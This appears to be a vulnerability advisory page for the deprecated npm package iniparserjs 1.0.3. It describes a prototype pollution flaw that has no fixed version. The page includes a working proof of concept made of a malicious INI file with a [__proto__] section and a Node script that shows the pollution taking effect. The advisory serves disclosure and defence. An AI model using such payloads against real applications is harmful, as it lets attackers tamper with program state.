iniparserjs@1.0.3 vulnerabilities

ini风格配置文件解析

  • latest version

    1.0.4

  • first published

    5 years ago

  • latest version published

    5 years ago

  • deprecated

    Package is deprecated

  • licenses detected

  • Direct Vulnerabilities

    Known vulnerabilities in the iniparserjs package. This does not include vulnerabilities belonging to this package’s dependencies.

    How to fix?

    Automatically find and fix vulnerabilities affecting your projects. Snyk scans for vulnerabilities and provides fixes for free.

    Fix for free
    VulnerabilityVulnerable Version
    • M
    Prototype Pollution

    iniparserjs is an ini style file parser for node

    Affected versions of this package are vulnerable to Prototype Pollution. This vulnerability relates when ini_parser.js is concentrating arrays. Depending on if user input is provided, an attacker can overwrite and pollute the object prototype of a program.

    PoC

    Test.ini
    
     [__proto__]
    
    polluted = vulnerable
    
     PoC.js
    
    var path = require("path")
    var IniParser = require("iniparserjs")
    console.log('Before:', {}.polluted);
    var config = new IniParser(path.join(__dirname, "test.ini"), "UTF8")
    var sections = config.sections()
    console.log(sections);
    var keysOfSection1 = config.keysOfSection("section1")
    console.log('After:', {}.polluted);
    

    How to fix Prototype Pollution?

    There is no fixed version for iniparserjs.

    *